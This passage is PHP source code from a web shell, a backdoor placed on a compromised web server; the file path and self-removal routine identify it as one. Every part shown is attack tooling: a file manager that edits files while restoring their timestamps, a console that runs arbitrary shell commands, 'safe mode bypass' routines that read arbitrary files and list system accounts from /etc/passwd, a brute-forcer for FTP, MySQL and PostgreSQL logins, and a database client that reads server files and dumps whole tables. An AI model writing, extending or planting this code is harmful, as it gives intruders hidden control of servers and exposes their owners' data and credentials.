    $GLOBALS['sort'] = $sort;
    function bOtCmp($a, $b)
    {
        if ($GLOBALS['sort'][0] != 'size') {
            return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
        } else {
            return ($a['size'] < $b['size'] ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
        }
    }
    usort($files, "bOtCmp");
    usort($dirs, "bOtCmp");
    $files = array_merge($dirs, $files);
    $l = 0;
    foreach ($files as $f) {
        echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . ($f['type'] == 'file' ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'r0b0t1c\',\'' . $f['path'] . '\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . ($f['type'] == 'file' ? bOtViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . ($f['type'] == 'file' ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
        $l = $l ? 0 : 1;
    }
    echo "<tr><td colspan=7>\n\t<input type=hidden name=a value='r0b0t1c'>\n\t<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>\n\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\n\t<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
    if (class_exists('ZipArchive')) {
        echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
    }
    echo "<option value='tar'>Compress (tar.gz)</option>";
    if (!empty($_SESSION['act']) && @count($_SESSION['f'])) {
        echo "<option value='paste'>Paste / Compress</option>";
    }
    echo "</select>&nbsp;";
    if (!empty($_SESSION['act']) && @count($_SESSION['f']) && ($_SESSION['act'] == 'zip' || $_SESSION['act'] == 'tar')) {
        echo "file name: <input type=text name=p2 value='bOt_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip' ? 'zip' : 'tar.gz') . "'>&nbsp;";
    }
    echo "<input type='submit' value='Hajar!'></td></tr></form></table></div>";
    bOtFooter();
}
function actionStringTools()
{
    if (!function_exists('hex2bin')) {
        function hex2bin($p)
        {
            return decbin(hexdec($p));
        }
    }
    if (!function_exists('binhex')) {
        function binhex($p)
        {
            return dechex(bindec($p));
        }
    }
    if (!function_exists('hex2ascii')) {
        function hex2ascii($p)
        {
            $r = '';
            for ($i = 0; $i < strLen($p); $i += 2) {
                $r .= chr(hexdec($p[$i] . $p[$i + 1]));
            }
            return $r;
        }
    }
    if (!function_exists('ascii2hex')) {
        function ascii2hex($p)
        {
            $r = '';
            for ($i = 0; $i < strlen($p); ++$i) {
                $r .= sprintf('%02X', ord($p[$i]));
            }
            return strtoupper($r);
        }
    }
    if (!function_exists('full_urlencode')) {
        function full_urlencode($p)
        {
            $r = '';
            for ($i = 0; $i < strlen($p); ++$i) {
                $r .= '%' . dechex(ord($p[$i]));
            }
            return strtoupper($r);
        }
    }
    $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen');
    if (isset($_POST['ajax'])) {
        $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
        ob_start();
        if (in_array($_POST['p1'], $stringTools)) {
            echo $_POST['p1']($_POST['p2']);
        }
        $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\x00") . "';\n";
        echo strlen($temp), "\n", $temp;
        exit;
    }
    bOtHeader();
    echo "<h1>String conversions</h1><div class=content>";
    if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
        $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
    }
    echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
    foreach ($stringTools as $k => $v) {
        echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
    }
    echo "</select><input type='submit' value='Hajar!'/> <input type=checkbox name=ajax value=1 " . (@$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
    if (!empty($_POST['p1'])) {
        if (in_array($_POST['p1'], $stringTools)) {
            echo htmlspecialchars($_POST['p1']($_POST['p2']));
        }
    }
    echo "</pre></div><br><h1>Search text in files:</h1><div class=content>\n\t\t<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>\n\t\t\t<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>\n\t\t\t<tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>\n\t\t\t<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>\n\t\t\t<tr><td></td><td><input type='submit' value='Hajar!'></td></tr>\n\t\t\t</table></form>";
    function bOtRecursiveGlob($path)
    {
        if (substr($path, -1) != '/') {
            $path .= '/';
        }
        $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
        if (is_array($paths) && @count($paths)) {
            foreach ($paths as $item) {
                if (@is_dir($item)) {
                    if ($path != $item) {
                        bOtRecursiveGlob($item);
                    }
                } else {
                    if (@strpos(@file_get_contents($item), @$_POST['p2']) !== false) {
                        echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\")'>" . htmlspecialchars($item) . "</a><br>";
                    }
                }
            }
        }
    }
    if (@$_POST['p3']) {
        bOtRecursiveGlob($_POST['c']);
    }
    echo "</div><br><h1>Mencari hash MD5:</h1><div class=content>\n\t\t<form method='post' target='_blank' name='hf'>\n\t\t\t<input type='text' name='hash' style='width:200px;'><br>\n\t\t\t<input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>\n\t\t\t<input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>\n\t\t\t<input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>\n\t\t\t<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>\n\t\t\t<input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>\n\t\t</form></div>";
    bOtFooter();
}
function actionFilesTools()
{
    if (isset($_POST['p1'])) {
        $_POST['p1'] = urldecode($_POST['p1']);
    }
    if (@$_POST['p2'] == 'download') {
        if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
            if (function_exists("mime_content_type")) {
                $type = @mime_content_type($_POST['p1']);
                header("Content-Type: " . $type);
            } else {
                header("Content-Type: application/octet-stream");
            }
            $fp = @fopen($_POST['p1'], "r");
            if ($fp) {
                while (!@feof($fp)) {
                    echo @fread($fp, 1024);
                }
                fclose($fp);
            }
        }
        exit;
    }
    if (@$_POST['p2'] == 'mkfile') {
        if (!file_exists($_POST['p1'])) {
            $fp = @fopen($_POST['p1'], 'w');
            if ($fp) {
                $_POST['p2'] = "edit";
                fclose($fp);
            }
        }
    }
    bOtHeader();
    echo "<h1>File tools</h1><div class=content>";
    if (!file_exists(@$_POST['p1'])) {
        echo "File not exists";
        bOtFooter();
        return;
    }
    $uid = @posix_getpwuid(@fileowner($_POST['p1']));
    if (!$uid) {
        $uid['name'] = @fileowner($_POST['p1']);
        $gid['name'] = @filegroup($_POST['p1']);
    } else {
        $gid = @posix_getgrgid(@filegroup($_POST['p1']));
    }
    echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? bOtViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . bOtPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
    echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
    if (empty($_POST['p2'])) {
        $_POST['p2'] = 'view';
    }
    if (is_file($_POST['p1'])) {
        $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
    } else {
        $m = array('Chmod', 'Rename', 'Touch');
    }
    foreach ($m as $v) {
        echo '<a href=# onclick="g(null,null,null,\'' . strtolower($v) . '\')">' . (strtolower($v) == @$_POST['p2'] ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
    }
    echo "<br><br>";
    switch ($_POST['p2']) {
        case 'view':
            echo "<pre class=ml1>";
            $fp = @fopen($_POST['p1'], 'r');
            if ($fp) {
                while (!@feof($fp)) {
                    echo htmlspecialchars(@fread($fp, 1024));
                }
                @fclose($fp);
            }
            echo "</pre>";
            break;
        case 'highlight':
            if (@is_readable($_POST['p1'])) {
                echo "<div class=ml1 style=\"background-color: #e1e1e1;color:black;\">";
                $code = @highlight_file($_POST['p1'], true);
                echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
            }
            break;
        case 'chmod':
            if (!empty($_POST['p3'])) {
                $perms = 0;
                for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) {
                    $perms += (int) $_POST['p3'][$i] * pow(8, strlen($_POST['p3']) - $i - 1);
                }
                if (!@chmod($_POST['p1'], $perms)) {
                    echo "Can't set permissions!<br><script>document.mf.p3.value=\"\";</script>";
                }
            }
            clearstatcache();
            echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value="Hajar!"></form>';
            break;
        case 'edit':
            if (!is_writable($_POST['p1'])) {
                echo "File isn't writeable";
                break;
            }
            if (!empty($_POST['p3'])) {
                $time = @filemtime($_POST['p1']);
                $_POST['p3'] = substr($_POST['p3'], 1);
                $fp = @fopen($_POST['p1'], "w");
                if ($fp) {
                    @fwrite($fp, $_POST['p3']);
                    @fclose($fp);
                    echo "Saved!<br><script>p3_=\"\";</script>";
                    @touch($_POST['p1'], $time, $time);
                }
            }
            echo "<form onsubmit=\"g(null,null,null,null,'1'+this.text.value);return false;\"><textarea name=text class=bigarea>";
            $fp = @fopen($_POST['p1'], 'r');
            if ($fp) {
                while (!@feof($fp)) {
                    echo htmlspecialchars(@fread($fp, 1024));
                }
                @fclose($fp);
            }
            echo "</textarea><input type=submit value=\"Hajar!\"></form>";
            break;
        case 'hexdump':
            $c = @file_get_contents($_POST['p1']);
            $n = 0;
            $h = array('00000000<br>', '', '');
            $len = strlen($c);
            for ($i = 0; $i < $len; ++$i) {
                $h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
                switch (ord($c[$i])) {
                    case 0:
                        $h[2] .= ' ';
                        break;
                    case 9:
                        $h[2] .= ' ';
                        break;
                    case 10:
                        $h[2] .= ' ';
                        break;
                    case 13:
                        $h[2] .= ' ';
                        break;
                    default:
                        $h[2] .= $c[$i];
                        break;
                }
                $n++;
                if ($n == 32) {
                    $n = 0;
                    if ($i + 1 < $len) {
                        $h[0] .= sprintf('%08X', $i + 1) . '<br>';
                    }
                    $h[1] .= '<br>';
                    $h[2] .= "\n";
                }
            }
            echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
            break;
        case 'rename':
            if (!empty($_POST['p3'])) {
                if (!@rename($_POST['p1'], $_POST['p3'])) {
                    echo "Can't rename!<br>";
                } else {
                    die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
                }
            }
            echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value="Hajar!"></form>';
            break;
        case 'touch':
            if (!empty($_POST['p3'])) {
                $time = strtotime($_POST['p3']);
                if ($time) {
                    if (!touch($_POST['p1'], $time, $time)) {
                        echo "Fail!";
                    } else {
                        echo "Touched!";
                    }
                } else {
                    echo "Bad time format!";
                }
            }
            clearstatcache();
            echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value="Hajar!"></form>';
            break;
    }
    echo "</div>";
    bOtFooter();
}
function actionSafeMode()
{
    $temp = '';
    ob_start();
    switch ($_POST['p1']) {
        case 1:
            $temp = @tempnam($test, 'cx');
            if (@copy("compress.zlib://" . $_POST['p2'], $temp)) {
                echo @file_get_contents($temp);
                unlink($temp);
            } else {
                echo "Sorry... Can't open file";
            }
            break;
        case 2:
            $files = glob($_POST['p2'] . '*');
            if (is_array($files)) {
                foreach ($files as $filename) {
                    echo $filename . "\n";
                }
            }
            break;
        case 3:
            $ch = curl_init("file://" . $_POST['p2'] . "\x00" . "/var/www/html/403.php.fd49961b24a2bd56bbb9de6358cac8e1.bin");
            curl_exec($ch);
            break;
        case 4:
            ini_restore("safe_mode");
            ini_restore("open_basedir");
            include $_POST['p2'];
            break;
        case 5:
            for (; $_POST['p2'] <= $_POST['p3']; $_POST['p2']++) {
                $uid = @posix_getpwuid($_POST['p2']);
                if ($uid) {
                    echo join(':', $uid) . "\n";
                }
            }
            break;
    }
    $temp = ob_get_clean();
    bOtHeader();
    echo "<h1>Safe mode bypass</h1><div class=content>";
    echo "<span>Copy (read file)</span><form onsubmit='g(null,null,\"1\",this.param.value);return false;'><input type=text name=param><input type=submit value=\"Hajar!\"></form><br><span>Glob (list dir)</span><form onsubmit='g(null,null,\"2\",this.param.value);return false;'><input type=text name=param><input type=submit value=\"Hajar!\"></form><br><span>Curl (read file)</span><form onsubmit='g(null,null,\"3\",this.param.value);return false;'><input type=text name=param><input type=submit value=\"Hajar!\"></form><br><span>Ini_restore (read file)</span><form onsubmit='g(null,null,\"4\",this.param.value);return false;'><input type=text name=param><input type=submit value=\"Hajar!\"></form><br><span>Posix_getpwuid (\"Read\" /etc/passwd)</span><table><form onsubmit='g(null,null,\"5\",this.param1.value,this.param2.value);return false;'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=\"Hajar!\"></form>";
    if ($temp) {
        echo '<pre class="ml1" style="margin-top:5px" id="Output">' . htmlspecialchars($temp) . '</pre>';
    }
    echo "</div>";
    bOtFooter();
}
function actionConsole()
{
    if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
        $_SESSION[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] = true;
        $_POST['p1'] .= ' 2>&1';
    } elseif (!empty($_POST['p1'])) {
        $_SESSION[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] = false;
    }
    if (isset($_POST['ajax'])) {
        $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
        ob_start();
        echo "d.cf.cmd.value='';\n";
        $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n\$ " . $_POST['p1'] . "\n" . bOtEx($_POST['p1']), "\n\r\t\\'\x00"));
        if (preg_match("!.*cd\\s+([^;]+)\$!", $_POST['p1'], $match)) {
            if (@chdir($match[1])) {
                $GLOBALS['cwd'] = @getcwd();
                echo "c_='" . $GLOBALS['cwd'] . "';";
            }
        }
        echo "d.cf.output.value+='" . $temp . "';";
        echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
        $temp = ob_get_clean();
        echo strlen($temp), "\n", $temp;
        exit;
    }
    bOtHeader();
    echo "<script>\nif(window.Event) window.captureEvents(Event.KEYDOWN);\nvar cmds = new Array('');\nvar cur = 0;\nfunction kp(e) {\n\tvar n = (window.Event) ? e.which : e.keyCode;\n\tif(n == 38) {\n\t\tcur--;\n\t\tif(cur>=0)\n\t\t\tdocument.cf.cmd.value = cmds[cur];\n\t\telse\n\t\t\tcur++;\n\t} else if(n == 40) {\n\t\tcur++;\n\t\tif(cur < cmds.length)\n\t\t\tdocument.cf.cmd.value = cmds[cur];\n\t\telse\n\t\t\tcur--;\n\t}\n}\nfunction add(cmd) {\n\tcmds.pop();\n\tcmds.push(cmd);\n\tcmds.push('');\n\tcur = cmds.length-1;\n}\n</script>";
    echo "<h1>Console</h1><div class=content><form name=cf onsubmit=\"if(d.cf.cmd.value=='clear'){d.cf.output.value='';d.cf.cmd.value='';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:'');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:'');} return false;\"><select name=alias>";
    foreach ($GLOBALS['aliases'] as $n => $v) {
        if ($v == '') {
            echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
            continue;
        }
        echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
    }
    if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
        $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
    }
    echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="Hajar!"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_SESSION[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
    if (!empty($_POST['p1'])) {
        echo htmlspecialchars("\$ " . $_POST['p1'] . "\n" . bOtEx($_POST['p1']));
    }
    echo "</textarea><table style=\"border:1px solid #800000;background-color:#800000;border-top:0px;\" cellpadding=0 cellspacing=0 width=\"100%\"><tr><td width=\"1%\">\$</td><td><input type=text name=cmd style=\"border:0px;width:100%;\" onkeydown=\"kp(event);\"></td></tr></table>";
    echo "</form></div><script>d.cf.cmd.focus();</script>";
    bOtFooter();
}
function actionLogout()
{
    session_destroy();
    die('^_______^ nice to meet U!Keep sapirit,Saparatos bLank!!!');
}
function actionSelfRemove()
{
    if ($_POST['p1'] == 'yes') {
        if (@unlink("/var/www/html/403.php.fd49961b24a2bd56bbb9de6358cac8e1.bin")) {
            die('Shell has been removed');
        } else {
            echo "unlink error!";
        }
    }
    if ($_POST['p1'] != 'yes') {
        bOtHeader();
    }
    echo "<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick=\"g(null,null,'yes')\">Yes</a></div>";
    bOtFooter();
}
function actionBruteforce()
{
    bOtHeader();
    if (isset($_POST['proto'])) {
        echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
        if ($_POST['proto'] == 'ftp') {
            function bruteForce($ip, $port, $login, $pass)
            {
                $fp = @ftp_connect($ip, $port ? $port : 21);
                if (!$fp) {
                    return false;
                }
                $res = @ftp_login($fp, $login, $pass);
                @ftp_close($fp);
                return $res;
            }
        } elseif ($_POST['proto'] == 'mysql') {
            function bruteForce($ip, $port, $login, $pass)
            {
                $res = @mysql_connect($ip . ':' . $port ? $port : 3306, $login, $pass);
                @mysql_close($res);
                return $res;
            }
        } elseif ($_POST['proto'] == 'pgsql') {
            function bruteForce($ip, $port, $login, $pass)
            {
                $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
                $res = @pg_connect($str);
                @pg_close($res);
                return $res;
            }
        }
        $success = 0;
        $attempts = 0;
        $server = explode(":", $_POST['server']);
        if ($_POST['type'] == 1) {
            $temp = @file('/etc/passwd');
            if (is_array($temp)) {
                foreach ($temp as $line) {
                    $line = explode(":", $line);
                    ++$attempts;
                    if (bruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
                        $success++;
                        echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
                    }
                    if (@$_POST['reverse']) {
                        $tmp = "";
                        for ($i = strlen($line[0]) - 1; $i >= 0; --$i) {
                            $tmp .= $line[0][$i];
                        }
                        ++$attempts;
                        if (bruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
                            $success++;
                            echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
                        }
                    }
                }
            }
        } elseif ($_POST['type'] == 2) {
            $temp = @file($_POST['dict']);
            if (is_array($temp)) {
                foreach ($temp as $line) {
                    $line = trim($line);
                    ++$attempts;
                    if (bruteForce($server[0], @$server[1], $_POST['login'], $line)) {
                        $success++;
                        echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
                    }
                }
            }
        }
        echo "<span>Attempts:</span> {$attempts} <span>Success:</span> {$success}</div><br>";
    }
    echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td><td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td><input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value="Hajar!"></td></tr></form></table>';
    echo "</div><br>";
    bOtFooter();
}
function actionSql()
{
    class DbClass
    {
        var $type;
        var $link;
        var $res;
        function DbClass($type)
        {
            $this->type = $type;
        }
        function connect($host, $user, $pass, $dbname)
        {
            switch ($this->type) {
                case 'mysql':
                    if ($this->link = @mysql_connect($host, $user, $pass, true)) {
                        return true;
                    }
                    break;
                case 'pgsql':
                    $host = explode(':', $host);
                    if (!$host[1]) {
                        $host[1] = 5432;
                    }
                    if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user={$user} password={$pass} dbname={$dbname}")) {
                        return true;
                    }
                    break;
            }
            return false;
        }
        function selectdb($db)
        {
            switch ($this->type) {
                case 'mysql':
                    if (@mysql_select_db($db)) {
                        return true;
                    }
                    break;
            }
            return false;
        }
        function query($str)
        {
            switch ($this->type) {
                case 'mysql':
                    return $this->res = @mysql_query($str);
                case 'pgsql':
                    return $this->res = @pg_query($this->link, $str);
            }
            return false;
        }
        function fetch()
        {
            $res = func_num_args() ? func_get_arg(0) : $this->res;
            switch ($this->type) {
                case 'mysql':
                    return @mysql_fetch_assoc($res);
                case 'pgsql':
                    return @pg_fetch_assoc($res);
            }
            return false;
        }
        function listDbs()
        {
            switch ($this->type) {
                case 'mysql':
                    return $this->query("SHOW databases");
                case 'pgsql':
                    return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
            }
            return false;
        }
        function listTables()
        {
            switch ($this->type) {
                case 'mysql':
                    return $this->res = $this->query('SHOW TABLES');
                case 'pgsql':
                    return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
            }
            return false;
        }
        function error()
        {
            switch ($this->type) {
                case 'mysql':
                    return @mysql_error();
                case 'pgsql':
                    return @pg_last_error();
            }
            return false;
        }
        function setCharset($str)
        {
            switch ($this->type) {
                case 'mysql':
                    if (function_exists('mysql_set_charset')) {
                        return @mysql_set_charset($str, $this->link);
                    } else {
                        $this->query('SET CHARSET ' . $str);
                    }
                    break;
                case 'pgsql':
                    return @pg_set_client_encoding($this->link, $str);
            }
            return false;
        }
        function loadFile($str)
        {
            switch ($this->type) {
                case 'mysql':
                    return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
                case 'pgsql':
                    $this->query("CREATE TABLE bOt2(file text);COPY bOt2 FROM '" . addslashes($str) . "';select file from bOt2;");
                    $r = array();
                    while ($i = $this->fetch()) {
                        $r[] = $i['file'];
                    }
                    $this->query('drop table bOt2');
                    return array('file' => implode("\n", $r));
            }
            return false;
        }
        function dump($table, $fp = false)
        {
            switch ($this->type) {
                case 'mysql':
                    $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
                    $create = mysql_fetch_array($res);
                    $sql = $create[1] . ";\n";
                    if ($fp) {
                        fwrite($fp, $sql);
                    } else {
                        echo $sql;
                    }
                    $this->query('SELECT * FROM `' . $table . '`');
                    $head = true;
                    while ($item = $this->fetch()) {
                        $columns = array();
                        foreach ($item as $k => $v) {
                            if ($v == null) {
                                $item[$k] = "NULL";
                            } elseif (is_numeric($v)) {
                                $item[$k] = $v;
                            } else {
                                $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
                            }
                            $columns[] = "`" . $k . "`";
                        }
                        if ($head) {
                            $sql = 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES \n\t(" . implode(", ", $item) . ')';
                            $head = false;
                        } else {
                            $sql = "\n\t,(" . implode(", ", $item) . ')';
                        }
                        if ($fp) {
                            fwrite($fp, $sql);
                        } else {
                            echo $sql;
                        }
                    }
                    if (!$head) {
                        if ($fp) {
                            fwrite($fp, ";\n\n");
                        } else {
                            echo ";\n\n";
                        }
                    }
                    break;
                case 'pgsql':
                    $this->query('SELECT * FROM ' . $table);
                    while ($item = $this->fetch()) {
                        $columns = array();
                        foreach ($item as $k => $v) {
                            $item[$k] = "'" . addslashes($v) . "'";
                            $columns[] = $k;
                        }
                        $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "\n";
                        if ($fp) {
                            fwrite($fp, $sql);
                        } else {
                            echo $sql;
                        }
                    }
                    break;
            }
            return false;
        }
    }
    $db = new DbClass($_POST['type']);
    if (@$_POST['p2'] == 'download') {
        $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
        $db->selectdb($_POST['sql_base']);
        switch ($_POST['charset']) {
            case "Windows-1251":
                $db->setCharset('cp1251');
                break;
            case "UTF-8":
                $db->setCharset('utf8');
                break;
            case "KOI8-R":
                $db->setCharset('koi8r');
                break;
            case "KOI8-U":
                $db->setCharset('koi8u');
                break;
            case "cp866":
                $db->setCharset('cp866');
                break;
        }
        if (empty($_POST['file'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=dump.sql");
            header("Content-Type: text/plain");
            foreach ($_POST['tbl'] as $v) {
                $db->dump($v);
            }
            exit;
        } elseif ($fp = @fopen($_POST['file'], 'w')) {
            foreach ($_POST['tbl'] as $v) {
                $db->dump($v, $fp);
            }
            fclose($fp);
            unset($_POST['p2']);
        } else {
